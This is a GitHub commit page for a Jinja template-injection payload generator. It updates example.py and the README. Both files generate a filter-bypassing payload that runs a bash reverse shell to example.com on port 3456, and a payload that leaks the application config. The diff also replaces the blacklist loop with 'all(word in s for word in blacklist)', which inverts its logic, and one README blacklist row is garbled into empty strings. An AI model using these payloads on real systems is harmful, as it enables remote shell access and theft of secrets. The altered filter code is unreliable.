Skip to content

Commit

Permalink
Update example.py and README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
Marven11 authored and Marven11 committed May 15, 2023
1 parent ceea181 commit 34e3a09
Show file tree
Hide file tree
Showing 2 changed files with 9 additions and 19 deletions.
19 changes: 8 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -158,28 +158,25 @@ Options:
参考[example.py](example.py)

```python
from fenjing import exec_cmd_payload

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "request", "lipsum",
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"","","","","","","","","",""
]
return all(word in s for word in blacklist)

for word in blacklist:
if word in s:
return False
return True

payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)

print(payload)
print(f"{shell_payload=}")
print(f"{config_payload=}")

```

9 changes: 1 addition & 8 deletions example.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
from fenjing import exec_cmd_payload, config_payload

import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
Expand All @@ -11,14 +9,9 @@ def waf(s: str):
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]

for word in blacklist:
if word in s:
return False
return True
return all(word in s for word in blacklist)

if __name__ == "__main__":

shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)

Expand Down

0 comments on commit 34e3a09

Please sign in to comment.